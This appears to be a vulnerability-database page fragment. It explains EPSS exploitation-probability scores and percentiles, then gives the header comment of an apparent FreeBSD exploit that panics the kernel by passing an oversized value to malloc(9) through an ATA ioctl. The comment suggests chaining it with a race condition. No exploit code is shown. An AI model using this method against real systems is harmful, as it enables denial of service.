EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

*
* this panics the freebsd kernel by passing a large value to malloc(9) in one of
* fbsd's ata ioctl's. tested on freebsd 6.0 and 8.0. you need read access to the
* ata device in /dev to be able to open() the device. chain with some race condition
* bug?
